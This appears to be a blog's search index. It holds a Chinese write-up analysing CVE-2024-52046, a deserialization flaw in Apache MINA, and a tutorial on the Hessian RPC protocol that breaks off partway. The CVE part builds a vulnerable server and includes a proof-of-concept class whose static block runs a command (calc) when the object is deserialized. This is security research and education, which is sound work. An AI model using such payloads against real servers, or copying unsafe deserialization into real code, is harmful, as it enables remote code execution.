-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathsearch.json
1 lines (1 loc) · 605 KB
/
search.json
1
[{"title":"CVE-2024-52046 - Apache Mina 漏洞分析","path":"/2025/01/03/CVE 分析/CVE-2024-52046 Apache mina 漏洞分析/","content":"漏洞描述Apache MINA(Multipurpose Infrastructure for Network Applications)是一个开源的网络通信框架,它为开发网络应用程序提供了高效、可扩展的解决方案。MINA 封装了许多底层网络通信的细节,简化了开发网络应用所需的工作。它的设计目标是使开发者能够轻松地构建基于高性能、低延迟的网络协议的应用程序。 Apache MINA 中的 ObjectSerializationDecoder 使用 Java 的原生反序列化协议来处理传入的序列化数据,但缺乏必要的安全检查和防御。此漏洞允许攻击者通过发送特制的恶意序列化数据来利用反序列化过程,从而可能导致远程代码执行 (RCE) 攻击。同样需要注意的是,使用 MINA 核心库的应用程序只有在调用 IoBuffer#getObject() 方法时才会受到影响,并且当使用 ObjectSerializationCodecFactory 类在过滤器链中添加 ProtocolCodecFilter 实例时可能会调用此特定方法。 影响范围Apache MINA 2.0.X < 2.0.27 Apache MINA 2.1.X < 2.1.10 Apache MINA 2.2.X < 2.2.4 环境搭建通过下面的例子可以快速上手 Mina ,如果只关心漏洞成因可以跳转漏洞分析章节。 依赖导入 这里使用 2.2.1 版本。 12345<dependency> <groupId>org.apache.mina</groupId> <artifactId>mina-core</artifactId> <version>2.2.1</version></dependency> Mina 客户端 创建一个类 ClientHandler 实现 IoHandlerAdapter: 1234567891011121314import org.apache.mina.core.service.IoHandlerAdapter;import org.apache.mina.core.session.IoSession;public class ClientHandler extends IoHandlerAdapter { @Override public void messageReceived(IoSession session, Object message) { System.out.println("Received: " + message); } @Override public void exceptionCaught(IoSession session, Throwable cause) { cause.printStackTrace(); }} 创建一个主类,用于启动客户端: 12345678910111213141516171819202122232425262728293031323334353637383940414243import org.apache.mina.core.future.ConnectFuture;import org.apache.mina.core.service.IoConnector;import org.apache.mina.core.session.IoSession;import org.apache.mina.filter.codec.ProtocolCodecFilter;import org.apache.mina.filter.codec.textline.TextLineCodecFactory;import org.apache.mina.transport.socket.nio.NioSocketConnector;import java.net.InetSocketAddress;import java.nio.charset.Charset;public class MinaClient { public static void main(String[] args) { // 创建客户端连接器 IoConnector connector = new NioSocketConnector(); // 添加编码解码器(字符串处理) connector.getFilterChain().addLast( "codec", new ProtocolCodecFilter(new TextLineCodecFactory(Charset.forName("UTF-8"))) ); // 设置处理器 connector.setHandler(new ClientHandler()); // 连接到服务器 String serverAddress = "127.0.0.1"; // 服务器地址 int serverPort = 9123; // 服务器端口 try { ConnectFuture connectFuture = connector.connect(new InetSocketAddress(serverAddress, serverPort)); connectFuture.awaitUninterruptibly(); // 等待连接完成 IoSession session = connectFuture.getSession(); session.write("Hello, MINA!"); // 发送数据到服务器 Thread.sleep(2000); // 保持连接一段时间 session.closeNow(); } catch (Exception e) { e.printStackTrace(); } finally { connector.dispose(); // 释放资源 } }} Mina 服务端 创建一个 ServerHandler 类,用于处理客户端消息: 1234567891011121314151617181920212223242526import org.apache.mina.core.service.IoHandlerAdapter;import org.apache.mina.core.session.IoSession;public class ServerHandler extends IoHandlerAdapter { @Override public void sessionOpened(IoSession session) { System.out.println("New session opened: " + session.getRemoteAddress()); } @Override public void messageReceived(IoSession session, Object message) { System.out.println("Received: " + message); // Echo the received message back to the client session.write("Server received: " + message); } @Override public void exceptionCaught(IoSession session, Throwable cause) { cause.printStackTrace(); } @Override public void sessionClosed(IoSession session) { System.out.println("Session closed: " + session.getRemoteAddress()); }} 创建一个主类,用于启动服务端: 1234567891011121314151617181920212223242526272829303132333435import org.apache.mina.core.service.IoAcceptor;import org.apache.mina.core.service.IoHandler;import org.apache.mina.filter.codec.ProtocolCodecFilter;import org.apache.mina.filter.codec.textline.TextLineCodecFactory;import org.apache.mina.transport.socket.nio.NioSocketAcceptor;import java.net.InetSocketAddress;import java.nio.charset.Charset;public class MinaServer { public static void main(String[] args) { int port = 9123; // 服务端监听端口 try { // 创建服务器接受器 IoAcceptor acceptor = new NioSocketAcceptor(); // 添加编码解码器(字符串处理) acceptor.getFilterChain().addLast( "codec", new ProtocolCodecFilter(new TextLineCodecFactory(Charset.forName("UTF-8"))) ); // 设置处理器 IoHandler handler = new ServerHandler(); acceptor.setHandler(handler); // 绑定端口 acceptor.bind(new InetSocketAddress(port)); System.out.println("Server started on port " + port); } catch (Exception e) { e.printStackTrace(); } }} 运行步骤 运行服务端: 启动 MinaServer 主类,服务端会在指定端口(如 9123)上监听客户端连接。 运行客户端: 配合之前的 MinaClient 代码运行客户端,连接到服务端,并发送消息。 查看输出: 服务端控制台应显示收到的客户端消息。 客户端控制台应显示服务端返回的响应。 漏洞分析反序列化当服务端或客户端接收到网络数据时,MINA 的处理流程如下: 1.1 数据读取 MINA 的底层通过 IoProcessor 从网络套接字读取原始字节流(ByteBuffer)。 1.2 解码 解码器(Decoder) 将字节流转换为更高层次的 Java 对象。 MINA 使用 ProtocolDecoder 接口的实现类进行解码。解码器通常由用户自定义。 解码器的典型实现依赖于 MINA 提供的 ProtocolCodecFactory,如 TextLineCodecFactory 或自定义实现。 1.3 数据交给处理器 解码后的 Java 对象通过 IoHandlerAdapter 的 messageReceived 方法传递给业务逻辑。 示例流程图(接收数据): 1网络字节流 → ByteBuffer → ProtocolDecoder → Java 对象 → IoHandler 序列化当应用程序通过 MINA 的 IoSession.write() 方法发送数据时,MINA 的处理流程如下: 2.1 数据准备 应用程序调用 IoSession.write(message),传入一个 Java 对象(如字符串、实体类)。 2.2 编码 编码器(Encoder) 将 Java 对象转换为网络传输格式的字节流。 MINA 使用 ProtocolEncoder 接口的实现类进行编码。编码器由 ProtocolCodecFactory 提供。 2.3 数据发送 编码后的字节流通过 IoProcessor 发送到网络套接字。 示例流程图(发送数据): 1Java 对象 → ProtocolEncoder → ByteBuffer → 网络字节流 漏洞环境需要注意的是,漏洞描述中说明了当指定解码器为 ObjectSerializationDecoder 时才会产生反序列化漏洞。而我们之前的环境中是将 TextLineCodecFactory 作为编码解码器。因此需要修改一些代码,将编码解码器指定为 ObjectSerializationDecoder 和 ObjectSerializationEncoder 才能创造漏洞环境。 服务端处理器 创建 ServerHandler 类,用于处理反序列化后的对象: 123456789101112131415161718192021222324252627282930import org.apache.mina.core.service.IoHandlerAdapter;import org.apache.mina.core.session.IoSession;public class ServerHandler extends IoHandlerAdapter { @Override public void sessionOpened(IoSession session) { System.out.println("New session opened: " + session.getRemoteAddress()); } @Override public void messageReceived(IoSession session, Object message) { if (message instanceof MyData) { MyData data = (MyData) message; System.out.println("Received object: " + data); session.write("Server received object: " + data); } else { System.out.println("Unknown message received: " + message); } } @Override public void exceptionCaught(IoSession session, Throwable cause) { cause.printStackTrace(); } @Override public void sessionClosed(IoSession session) { System.out.println("Session closed: " + session.getRemoteAddress()); }} 自定义序列化对象 定义一个可序列化的 Java 对象: 1234567891011121314151617181920import java.io.Serializable;public class MyData implements Serializable { private static final long serialVersionUID = 1L; private String name; private int value; public MyData(String name, int value) { this.name = name; this.value = value; } @Override public String toString() { return "MyData{name='" + name + "', value=" + value + "}"; } // Getters and Setters (Optional)} 服务端主程序 使用 ObjectSerializationDecoder 和 ObjectSerializationEncoder 进行对象的解码和编码: 123456789101112131415161718192021222324252627282930313233343536import org.apache.mina.core.service.IoAcceptor;import org.apache.mina.filter.codec.ProtocolCodecFilter;import org.apache.mina.filter.codec.serialization.ObjectSerializationDecoder;import org.apache.mina.filter.codec.serialization.ObjectSerializationEncoder;import org.apache.mina.transport.socket.nio.NioSocketAcceptor;import java.net.InetSocketAddress;public class MinaServer { public static void main(String[] args) { int port = 9123; // 服务端监听端口 try { // 创建服务器接受器 IoAcceptor acceptor = new NioSocketAcceptor(); // 添加序列化/反序列化过滤器 acceptor.getFilterChain().addLast( "codec", new ProtocolCodecFilter( new ObjectSerializationEncoder(), new ObjectSerializationDecoder() ) ); // 设置处理器 acceptor.setHandler(new ServerHandler()); // 绑定端口 acceptor.bind(new InetSocketAddress(port)); System.out.println("Server started on port " + port); } catch (Exception e) { e.printStackTrace(); } }} 配合的客户端 客户端代码需要发送序列化的 MyData 对象。以下是示例客户端代码: 12345678910111213141516171819202122232425262728293031323334353637383940414243import org.apache.mina.core.future.ConnectFuture;import org.apache.mina.core.service.IoConnector;import org.apache.mina.filter.codec.ProtocolCodecFilter;import org.apache.mina.filter.codec.serialization.ObjectSerializationDecoder;import org.apache.mina.filter.codec.serialization.ObjectSerializationEncoder;import org.apache.mina.transport.socket.nio.NioSocketConnector;import java.net.InetSocketAddress;public class MinaClient { public static void main(String[] args) { IoConnector connector = new NioSocketConnector(); // 添加序列化/反序列化过滤器 connector.getFilterChain().addLast( "codec", new ProtocolCodecFilter( new ObjectSerializationEncoder(), new ObjectSerializationDecoder() ) ); connector.setHandler(new ClientHandler()); String serverAddress = "127.0.0.1"; int serverPort = 9123; try { ConnectFuture connectFuture = connector.connect(new InetSocketAddress(serverAddress, serverPort)); connectFuture.awaitUninterruptibly(); // 获取会话并发送对象 connectFuture.getSession().write(new MyData("Test", 42)); Thread.sleep(2000); // 保持连接一段时间 connectFuture.getSession().closeNow(); } catch (Exception e) { e.printStackTrace(); } finally { connector.dispose(); } }} 运行,可以看到成功发送对象: 调试分析已知反序列化器为 ObjectSerializationDecoder 对象,这个类的 doDecode 方法用于反序列化服务端收到的字节流数据。此处下断点。 调试服务端,运行客户端,来到断点处: 跟进 in.getObject() ,这里会直接反序列化字节流,使用 Java 的原生反序列化: 调试的时候是会直接进入到 return in.readObject() 这一步,造成反序列化。 这里的 in 其实是 try(…){} 代码块的 () 中获取的。这个 in 的生命周期也仅在 try-catch 代码块中。获取时还重写了 ObjectInputStream 中的两个方法 readClassDescriptor 和 resolveClass 。这两个方法将会在 readObject 时被调用。 漏洞复现下面将命令执行的代码加入到自定义类的静态代码块中: 1234567891011121314151617181920212223242526272829import java.io.IOException;import java.io.Serializable;public class MyData implements Serializable { private static final long serialVersionUID = 1L; private String name; private int value; static { try { Runtime.getRuntime().exec("calc"); } catch (IOException e) { throw new RuntimeException(e); } } public MyData(String name, int value) { this.name = name; this.value = value; } @Override public String toString() { return "MyData{name='" + name + "', value=" + value + "}"; } // Getters and Setters (Optional)} 运行服务端和客户端,可以看到命令执行成功: 这里其实会弹出两个计算器,客户端执行一次,服务端执行一次。 漏洞修复版本切换为 2.2.4,ObjectSerializationDecoder#doDecode 这里增加了一个设置: 跟进 AbstractIoBuffer.setMatchers 发现这是在设置运行反序列化的白名单: 先将属性 acceptMatchers 清空,然后按照传入的 matchers 设置允许被反序列化的类。且默认情况下 acceptMatchers 的值为空。 接着会在自定义的 resolveClass 中进行一个判断,如果类名不在 acceptMatchers 中,则 found 标志为 false ,最后抛出异常: 所以默认情况下是不允许反序列化任何类的。 参考文章Apache mina CVE-2024-52046漏洞分析复现","categories":["CVE 分析"]},{"title":"基础篇 - Hessian 协议详解","path":"/2024/11/13/Java 安全/基础篇-Hessian协议详解/","content":"Hessian 协议介绍Hessian 协议是一种高效、跨语言的二进制 RPC(Remote Procedure Call,远程过程调用)协议,由 Caucho 公司设计,最早应用于 Java 和 Java 之间的远程调用。其主要特点是使用紧凑的二进制格式传输数据,提供高性能的序列化和反序列化操作,因此适合在网络带宽较低或数据传输效率要求较高的场景中使用。 Hessian 协议的特点 跨语言支持:Hessian 协议设计为跨平台的,支持多种语言,如 Java、Python、C#、PHP 等。不同语言的系统可以通过 Hessian 协议实现远程调用,达到语言无关的通信目的。 高效的二进制序列化:与 XML 或 JSON 相比,Hessian 采用二进制格式,不仅能减少数据体积,还能降低解析的开销,从而提升性能。Hessian 使用较少的字节来表示复杂的数据结构,尤其适合需要频繁远程调用的分布式系统。 轻量化:Hessian 协议比传统的 SOAP 和 XML-RPC 更轻量,不依赖任何外部配置文件,序列化和反序列化开销低,适合在资源有限的环境中使用。 良好的兼容性和扩展性:Hessian 协议设计得非常简单,易于实现,并且可以在不同版本间保持兼容。协议还允许扩展,因此可以添加新类型的数据或特性,而不破坏现有的协议实现。 Hessian 协议的工作流程 接口定义:Hessian 协议一般通过接口来定义服务。服务端实现接口的具体方法,客户端通过代理对象来调用接口的方法,客户端和服务端可以使用相同的接口定义。 数据编码和传输:客户端将方法调用和参数编码为二进制流,并通过 HTTP 等协议传输给服务端。服务端接收到数据后,进行解码,然后根据接口调用对应的方法。 结果返回:服务端将方法的返回值编码为二进制流,传回客户端,客户端解码后得到返回结果。 Hessian 协议的数据类型Hessian 协议支持多种基本数据类型和复杂数据类型,包括: 基本类型:int、long、boolean、double等。 字符串和二进制数据:字符串以 UTF-8 格式编码,二进制数据可以用于传输字节流。 集合和数组:支持 List、Map、数组等。 自定义对象:可以将 Java 对象序列化为二进制流传输,前提是客户端和服务端的类结构一致。 Hessian 协议的优缺点优点: 性能高:由于采用二进制序列化,数据传输速度快,适合高频调用的场景。 跨语言性:支持多种编程语言间的互通,便于异构系统的集成。 轻量级:协议设计简单,序列化和反序列化效率高,占用资源少。 缺点: 可读性差:由于采用二进制格式,数据不可读,调试和排查问题可能较困难。 生态系统有限:相较于 gRPC、Thrift 等更广泛的 RPC 框架,Hessian 的支持和使用范围相对较窄。 复杂性:自定义对象的序列化要求客户端和服务端具有一致的类结构,可能导致版本兼容性问题。 使用场景Hessian 协议适用于以下场景: 微服务:在微服务架构中,通过 Hessian 协议实现服务之间的高效调用。 移动和 IoT 设备:对于网络带宽受限的场景(如移动网络或 IoT设 备),Hessian 能显著减少传输的数据量。 高频调用的企业系统:在需要频繁调用的场景下,Hessian 协议比 JSON 或 XML 序列化更为高效,能提高系统的整体性能。 Hessian 基本使用基于 ServletHessian 提供了一个类 com.caucho.hessian.server.HessianServlet ,将 Hessian 服务实现暴露为 Servlet 。因此我们可以让一个 Servlet 通过继承 HessianServlet 来提供 hessian 服务。 以下是基于注解的实现步骤,首先需要用 maven 创建一个 web 项目: 添加依赖在 pom.xml 中添加 Hessian 依赖,这里使用目前的最新版本 4.0.66 ,以及 Servlet 依赖,4.0 以前是 javax.servlet 包下: 1234567891011<dependency> <groupId>com.caucho</groupId> <artifactId>hessian</artifactId> <version>4.0.66</version></dependency><dependency> <groupId>javax.servlet</groupId> <artifactId>javax.servlet-api</artifactId> <version>4.0.1</version> <scope>provided</scope></dependency> 定义服务接口定义一个远程调用接口,例如 GreetingService: 123public interface GreetingService { String sayHello(String name);} 实现服务接口创建接口的实现类,例如 GreetingServiceImpl: 123456public class GreetingServiceImpl implements GreetingService { @Override public String sayHello(String name) { return "Hello, " + name + "!"; }} 创建继承 HessianServlet 的 Servlet使用 @WebServlet 注解配置 Servlet,并在 Servlet 中继承 HessianServlet 类来实现 Hessian 服务接口: 123456789101112import com.caucho.hessian.server.HessianServlet;import jakarta.servlet.annotation.WebServlet;@WebServlet("/greeting")public class GreetingServiceServlet extends HessianServlet implements GreetingService { private final GreetingService greetingService = new GreetingServiceImpl(); @Override public String sayHello(String name) { return greetingService.sayHello(name); }} 在这个类中: @WebServlet("/greeting") 注解将 Servlet 映射到 /greeting URL,客户端可以通过该 URL 调用 Hessian 服务。 GreetingServiceServlet 继承了 HessianServlet 并实现 GreetingService 接口,使得该类既是一个 Servlet,又是一个 Hessian 服务的实现。 编写客户端代码客户端可以使用 HessianProxyFactory 来访问该 Hessian 服务,客户端也需要有一个和服务端一样的 GreetingService 接口: 123456789101112131415import com.caucho.hessian.client.HessianProxyFactory;public class HessianClient { public static void main(String[] args) { String url = "http://localhost:8080/ServletBase_war/greeting"; // 替换为实际服务地址 HessianProxyFactory factory = new HessianProxyFactory(); try { GreetingService service = (GreetingService) factory.create(GreetingService.class, url); String result = service.sayHello("World"); System.out.println(result); // 输出: Hello, World! } catch (Exception e) { e.printStackTrace(); } }} 部署和运行 将项目部署到支持 Servlet 的 Web 容器(如 Tomcat)。 启动服务器,确保服务在 /greeting 路径上发布。 运行客户端代码,通过 Hessian 协议调用服务端的 sayHello 方法,并接收返回结果。 整合 SpringSpring-web 包内提供了 org.springframework.remoting.caucho.HessianServiceExporter 用来暴露远程调用的接口和实现类。使用该类 export 的 Hessian Service 可以被任何 Hessian Client 访问,因为 Spring 中间没有进行任何特殊处理。 使用纯注解方式开发基于 Hessian 的 Spring 项目,以下是具体步骤,首先需要用 maven 创建一个 web 项目: 服务端项目1. 添加依赖在服务端项目的 pom.xml 中添加 Spring 和 Hessian 依赖: 1234567891011121314151617181920212223242526272829303132333435<!-- Servlet API --><dependency> <groupId>javax.servlet</groupId> <artifactId>javax.servlet-api</artifactId> <version>4.0.1</version> <scope>provided</scope></dependency><!-- Spring Context --><dependency> <groupId>org.springframework</groupId> <artifactId>spring-context</artifactId> <version>5.2.10.RELEASE</version></dependency><!-- Spring Web --><dependency> <groupId>org.springframework</groupId> <artifactId>spring-web</artifactId> <version>5.2.10.RELEASE</version></dependency><!-- Spring Web MVC --><dependency> <groupId>org.springframework</groupId> <artifactId>spring-webmvc</artifactId> <version>5.2.10.RELEASE</version></dependency><!-- Hessian --><dependency> <groupId>com.caucho</groupId> <artifactId>hessian</artifactId> <version>4.0.66</version></dependency> 2. 定义服务接口创建一个服务接口 HelloService,用于定义客户端和服务端共用的接口: 123public interface HelloService { String sayHello(String name);} 3. 实现服务接口在服务端项目中,创建 HelloServiceImpl 实现接口: 123456789import org.springframework.stereotype.Service;@Servicepublic class HelloServiceImpl implements HelloService { @Override public String sayHello(String name) { return "Hello, " + name; }} 4. 创建 Spring 配置类创建 HessianServerConfig 配置类,用于将 HelloService 暴露为 Hessian 服务: 1234567891011121314151617181920212223import org.springframework.context.annotation.Bean;import org.springframework.context.annotation.ComponentScan;import org.springframework.context.annotation.Configuration;import org.springframework.remoting.caucho.HessianServiceExporter;@Configuration@ComponentScan(basePackages = "com.example") // 使用实际包名public class HessianServerConfig { private final HelloService helloService; public HessianServerConfig(HelloService helloService) { this.helloService = helloService; } @Bean(name = "/helloService") public HessianServiceExporter hessianServiceExporter() { HessianServiceExporter exporter = new HessianServiceExporter(); exporter.setService(helloService); exporter.setServiceInterface(HelloService.class); return exporter; }} 5. 配置 Web 启动类使用 WebApplicationInitializer 配置 DispatcherServlet 并加载 Spring 配置类: 12345678910111213141516171819202122import org.springframework.web.context.support.AnnotationConfigWebApplicationContext;import org.springframework.web.servlet.DispatcherServlet;import javax.servlet.ServletContext;import javax.servlet.ServletException;import javax.servlet.ServletRegistration;import org.springframework.web.WebApplicationInitializer;public class HessianServerInitializer implements WebApplicationInitializer { @Override public void onStartup(ServletContext servletContext) throws ServletException { // 初始化 Spring Web 上下文 AnnotationConfigWebApplicationContext context = new AnnotationConfigWebApplicationContext(); context.register(HessianServerConfig.class); // 注册 DispatcherServlet ServletRegistration.Dynamic dispatcher = servletContext.addServlet("dispatcher", new DispatcherServlet(context)); dispatcher.setLoadOnStartup(1); dispatcher.addMapping("/"); }} 6. 部署服务端项目将服务端项目打包并部署到外部的 Tomcat 或其他 Servlet 容器中。 将项目打包为 .war 文件(如 hessian-server.war),并放置到 Tomcat 的 webapps 目录中。 启动 Tomcat,确认服务在 /helloService 路径下成功暴露。 客户端项目1. 定义服务接口在客户端项目中,定义与服务端相同的接口 HelloService,以便客户端能识别远程接口: 123public interface HelloService { String sayHello(String name);} 2. 创建 Spring 配置类在客户端项目中创建 HessianClientConfig 配置类,使用 HessianProxyFactoryBean 配置远程服务接口: 123456789101112131415import org.springframework.context.annotation.Bean;import org.springframework.context.annotation.Configuration;import org.springframework.remoting.caucho.HessianProxyFactoryBean;@Configurationpublic class HessianClientConfig { @Bean public HessianProxyFactoryBean helloService() { HessianProxyFactoryBean factory = new HessianProxyFactoryBean(); factory.setServiceUrl("http://localhost:8080/SpringWebBase_war/helloService"); // 根据实际服务地址调整 factory.setServiceInterface(HelloService.class); return factory; }} 3. 创建客户端启动类在客户端项目中编写主类,通过 AnnotationConfigApplicationContext 启动 Spring 上下文,并调用远程服务: 12345678910111213141516import org.springframework.context.ApplicationContext;import org.springframework.context.annotation.AnnotationConfigApplicationContext;import pojo.HelloService;public class HessianClientApplication { public static void main(String[] args) { // 初始化 Spring 上下文 ApplicationContext context = new AnnotationConfigApplicationContext(HessianClientConfig.class); // 获取并调用远程服务 HelloService helloService = context.getBean(HelloService.class); String response = helloService.sayHello("World"); System.out.println(response); }} 运行并测试 启动服务端:将服务端项目部署在 Tomcat 或其他支持 Servlet 的容器中。 启动客户端:运行 HessianClientApplication 主类。应该会在控制台上看到从远程服务返回的消息。 这样,就完成了 Hessian 在 Spring 项目中的集成,实现了一个完整的 RPC 调用系统。 同样的,也可以选择用 SpringBoot 方式启动,其他代码不变,只更改启动类即可。 自封装调用我们可以通过直接使用 HessianInput、HessianOutput 及其变体(如 Hessian2Input 和 Hessian2Output)来实现 Hessian 的序列化和反序列化,从而自定义数据的传输或存储逻辑。 Hessian创建一个 HessianSerializer 工具类,提供 serialize 和 deserialize 方法,利用 HessianOutput 和 HessianInput 来完成序列化和反序列化: 1234567891011121314151617181920212223242526272829303132333435363738import com.caucho.hessian.io.HessianInput;import com.caucho.hessian.io.HessianOutput;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.IOException;public class HessianSerializer { /** * 将对象序列化为字节数组 * * @param object 要序列化的对象 * @return 序列化后的字节数组 * @throws IOException 如果序列化失败 */ public static byte[] serialize(Object object) throws IOException { try (ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream()) { HessianOutput hessianOutput = new HessianOutput(byteArrayOutputStream); hessianOutput.writeObject(object); return byteArrayOutputStream.toByteArray(); } } /** * 将字节数组反序列化为对象 * * @param data 字节数组 * @return 反序列化后的对象 * @throws IOException 如果反序列化失败 */ public static Object deserialize(byte[] data) throws IOException { try (ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(data)) { HessianInput hessianInput = new HessianInput(byteArrayInputStream); return hessianInput.readObject(); } }} 从中可以看出这个 HessianInput/HessianOutput 在这种情况下可以替代 ObjectInputStream/ObjectOutputStream。 然后我们来定义一个类,用于序列化和反序列化: 12345678910111213141516171819202122232425262728293031323334import java.io.Serializable;public class User implements Serializable { private String name; private int age; // Constructors, Getters, and Setters public User(String name, int age) { this.name = name; this.age = age; } public String getName() { return name; } public void setName(String name) { this.name = name; } public int getAge() { return age; } public void setAge(int age) { this.age = age; } @Override public String toString() { return "User{name='" + name + "', age=" + age + '}'; }} 最后是一个主类,调用 HessianSerializer 中的方法,实现序列化和反序列化: 1234567891011121314151617181920212223242526import java.io.IOException;import java.util.Arrays;public class Main { public static void main(String[] args) { try { // 创建一个 User 对象 User user = new User("Alice", 30); // 将 User 对象序列化为字节数组 byte[] serializedData = HessianSerializer.serialize(user); System.out.println("Serialized data: " + serializedData); // 以 Arrays.toString() 的方式输出字节数组内容 System.out.println("Serialized data (byte array): " + Arrays.toString(serializedData)); // 将字节数组反序列化为 User 对象 User deserializedUser = (User) HessianSerializer.deserialize(serializedData); System.out.println("Deserialized User: " + deserializedUser); } catch (IOException e) { e.printStackTrace(); } }} 运行结果: 除了 HessianInput 和 HessianOutput,Hessian 还提供了 Hessian2Input 和 Hessian2Output,以及 Burlap(XML 序列化)方式。 Hessian2同样的来实现一个序列化和反序列化工具类,将 HessianOutput 替换为 Hessian2Output,HessianInput 替换为 Hessian2Input 即可: 12345678910111213141516171819202122232425import com.caucho.hessian.io.Hessian2Input;import com.caucho.hessian.io.Hessian2Output;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.IOException;public class Hessian2Serializer { public static byte[] serialize(Object object) throws IOException { try (ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream()) { Hessian2Output hessian2Output = new Hessian2Output(byteArrayOutputStream); hessian2Output.writeObject(object); hessian2Output.close(); return byteArrayOutputStream.toByteArray(); } } public static Object deserialize(byte[] data) throws IOException { try (ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(data)) { Hessian2Input hessian2Input = new Hessian2Input(byteArrayInputStream); return hessian2Input.readObject(); } }} 结果: 依然可以成功的序列化和反序列化,只不过序列化数据不一样。 BurlapBurlap 是 Hessian 的一种 XML 格式,可以用于跨语言环境的兼容性。它序列化后的数据是 xml 格式,所以我们用流的 toString 方法来获取序列化数据的字符串格式。 实现一个序列化和反序列化工具类: 12345678910111213141516171819202122232425262728import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.IOException;import java.nio.charset.StandardCharsets;import com.caucho.burlap.io.BurlapInput;import com.caucho.burlap.io.BurlapOutput;public class BurlapSerializer { public static String serializeToXmlString(Object object) throws IOException { try (ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream()) { BurlapOutput burlapOutput = new BurlapOutput(byteArrayOutputStream); burlapOutput.writeObject(object); burlapOutput.flush(); // 将字节数组转换为字符串 return byteArrayOutputStream.toString(String.valueOf(StandardCharsets.UTF_8)); } } public static Object deserializeFromXmlString(String xmlData) throws IOException { try (ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(xmlData.getBytes(StandardCharsets.UTF_8))) { BurlapInput burlapInput = new BurlapInput(byteArrayInputStream); return burlapInput.readObject(); } }} 测试主类: 12345678910111213141516171819202122import java.io.IOException;public class Main { public static void main(String[] args) { try { // 创建一个 User 对象 User user = new User("Alice", 30); // 将 User 对象序列化为 XML 字符串 String xmlData = BurlapSerializer.serializeToXmlString(user); System.out.println("Serialized XML data: " + xmlData); // 将 XML 字符串反序列化为 User 对象 User deserializedUser = (User) BurlapSerializer.deserializeFromXmlString(xmlData); System.out.println("Deserialized User: " + deserializedUser); } catch (IOException e) { e.printStackTrace(); } }} 结果: 可以看到序列化后的结果是 xml 格式。 配置为 JNDI 资源还有其他的一些调用方式比如通过 web 服务器(例如 Tomcat )自带的配置功能用 JNDI 的方式获取 hessian 服务,这里就不做详细介绍了,可以参考:Tomcat - JNDI 资源使用方法 。 在 HessianProxyFactory 的说明文档中也给出了在 Resin 服务器下配置为 JNDI 资源的示例: 这里就不再演示了。 Hessian 源码解析简单的分析一下 Hessian 服务的源码,版本为 4.0.66 。 HessianServlet 解析com.caucho.hessian.server.HessianServlet 是在 Servlet 项目中用到的类,下面来分析一下。 HessianServlet 继承了 HttpServlet ,却没有重写 doGet 与 doPost 方法,而是 service 方法在发挥作用。init 方法用于初始化。 init 方法主要是初始化 HessianServlet 的各成员变量: 我们注意到这里其实有两套相似的成员变量,分别是: _homeAPI、_homeImpl 和 _homeSkeleton 以及 _objectAPI、_objectImpl 和 _objectSkeleton 事实上,它们各自代表了一组与服务端对象相关的接口、实现类和骨架类。这样设计的意义在于为 Hessian 服务支持两种不同类型的远程调用场景,在某些情况下,Hessian 服务可能既需要一个主接口(_homeAPI),也需要一个附加接口(_objectAPI)来扩展主服务的功能。 通过定义两组接口和实现类,HessianServlet 既可以为主服务(_home)提供基本功能,又可以通过附加服务(_object)扩展服务接口。同时,它确保了每个接口都有专门的骨架类(Skeleton)来处理特定类型的请求,从而使 Hessian 能够灵活地应对复杂的远程调用需求。 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104public void init(ServletConfig config) throws ServletException{ super.init(config); try { // 初始化 _homeImpl if (_homeImpl != null) { } else if (getInitParameter("home-class") != null) { String className = getInitParameter("home-class"); Class<?> homeClass = loadClass(className); _homeImpl = homeClass.newInstance(); init(_homeImpl); } else if (getInitParameter("service-class") != null) { String className = getInitParameter("service-class"); Class<?> homeClass = loadClass(className); _homeImpl = homeClass.newInstance(); init(_homeImpl); } else { if (getClass().equals(HessianServlet.class)) throw new ServletException("server must extend HessianServlet"); _homeImpl = this; }\t// 初始化 _homeAPI if (_homeAPI != null) { } else if (getInitParameter("home-api") != null) { String className = getInitParameter("home-api"); _homeAPI = loadClass(className); } else if (getInitParameter("api-class") != null) { String className = getInitParameter("api-class"); _homeAPI = loadClass(className); } else if (_homeImpl != null) { _homeAPI = findRemoteAPI(_homeImpl.getClass()); if (_homeAPI == null) _homeAPI = _homeImpl.getClass(); _homeAPI = _homeImpl.getClass(); } // 初始化 _objectImpl if (_objectImpl != null) { } else if (getInitParameter("object-class") != null) { String className = getInitParameter("object-class"); Class<?> objectClass = loadClass(className); _objectImpl = objectClass.newInstance(); init(_objectImpl); }\t// 初始化 _objectAPI if (_objectAPI != null) { } else if (getInitParameter("object-api") != null) { String className = getInitParameter("object-api"); _objectAPI = loadClass(className); } else if (_objectImpl != null) _objectAPI = _objectImpl.getClass();\t// 初始化 _homeSkeleton _homeSkeleton = new HessianSkeleton(_homeImpl, _homeAPI); if (_objectAPI != null) _homeSkeleton.setObjectClass(_objectAPI);\t// 初始化 _objectSkeleton if (_objectImpl != null) { _objectSkeleton = new HessianSkeleton(_objectImpl, _objectAPI); _objectSkeleton.setHomeClass(_homeAPI); } else _objectSkeleton = _homeSkeleton; if ("true".equals(getInitParameter("debug"))) { } if ("false".equals(getInitParameter("send-collection-type"))) setSendCollectionType(false); } catch (ServletException e) { throw e; } catch (Exception e) { throw new ServletException(e); }} 这里使用了 HessianServlet 自定义的 loadClass 和 getContextClassLoader 方法,从当前线程中获取类加载器: 如 su18 师傅所说,主要是有两个原因: 保证类加载的一致性: 在一些复杂环境下,尤其是应用服务器或容器中,系统可能会引入自定义的类加载器来对类进行重新加载、隔离或增强。比如在微服务、插件式架构或其他需要动态加载的场景中,用户的类可能会被不同的类加载器重新加载,造成类不一致的问题。这种自定义的 loadClass 方法通过指定类加载器的来源,确保加载到的是期望的类,而不是可能被“魔改”的类。 利用线程上下文的类加载器快速定位用户的类: 在 Java 应用中,通常可以通过 Thread.currentThread().getContextClassLoader() 来获取当前线程的上下文类加载器(通常是 